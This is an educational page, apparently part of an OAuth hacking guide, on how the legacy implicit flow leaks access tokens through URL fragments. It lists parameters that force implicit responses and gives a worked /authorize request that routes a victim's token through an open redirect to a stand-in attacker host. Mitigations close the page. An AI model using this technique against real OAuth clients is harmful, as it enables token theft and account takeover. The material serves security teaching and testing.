OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks

Implicit Flow Token Leakage

How the legacy OAuth implicit flow leaks access tokens from the URL fragment via browser history, location.hash, and logs, and how an open redirect steals them.

Published

The legacy implicit flow hands the access token to the browser in the URL fragment, where it is far more exposed than a server-side code exchange. Modern OAuth replaced it for exactly this reason. This page covers how the token leaks and how it is stolen. Practice on a free live target.

Tokens in the URL fragment

With response_type=token, the authorization server skips the code exchange and returns the access token directly, in the fragment of the redirect:

https://app.tld/callback#access_token=2YotnFZF...&token_type=Bearer&expires_in=3600

The fragment (everything after #) is not sent in the initial request to the server, but it is fully visible in the browser, which is the problem.

Step 1: force or spot the implicit response

Check whether the server still honors implicit, or a toggle that reintroduces it:

response_type=token           legacy implicit; token in the fragment
response_type=id_token token   OIDC implicit (id_token + token, no code) to the browser
response_mode=fragment         force the response into the fragment
response_mode=query            force a token into the query string (then it hits logs/Referer directly)

Step 2: find where the fragment leaks

A token in location.hash escapes through several channels:

browser history    the whole URL including the fragment is stored
JavaScript         any script on the page can read location.hash directly
client-side logs   analytics / error reporting scripts that capture location.href
NOT the Referer    browsers strip the fragment from the Referer header; that channel is query-string tokens only

Step 3: exfiltrate via an open redirect

The fragment survives a redirect when the redirect target has no fragment of its own (true in current Chrome/Firefox), so an open redirect on the client ships the token to you. Send the victim through the flow aimed at the client's open redirect:

GET /authorize?response_type=token&client_id=app123&redirect_uri=https://app.tld/go?next=https://attacker.tld&state=xyz HTTP/1.1
Host: auth.example.com

The token lands at https://app.tld/go#access_token=..., the client's /go endpoint redirects to https://attacker.tld, the browser reattaches the fragment, and the token arrives at https://attacker.tld/#access_token=..., where your page reads it from location.hash.

Edge variants

response_type=code token    hybrid: a token leaks alongside the code
response_mode=form_post      POSTs the token back; sometimes skips a check the others enforce
history-only leak            no open redirect, but a shared or logged machine exposes the token

Why the code flow replaced implicit

The authorization code flow never puts a token in the browser: the browser only ever holds a short-lived, single-use code that is useless without the back-channel exchange (and PKCE). RFC 9700 says to avoid implicit for this reason. Finding response_type=token still accepted is usually a finding.

Fixing it

  • Drop implicit and hybrid. Use authorization code with PKCE so no token reaches the URL.
  • Remove open redirects, especially on OAuth client hosts, which turn any fragment into an exfiltration channel.
  • Keep tokens out of URLs entirely, including response_mode=query.

Full guidance is in preventing OAuth attacks. Next, take over accounts through linking in account linking abuse, or try a fragment leak on a free lab.

← Back to OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks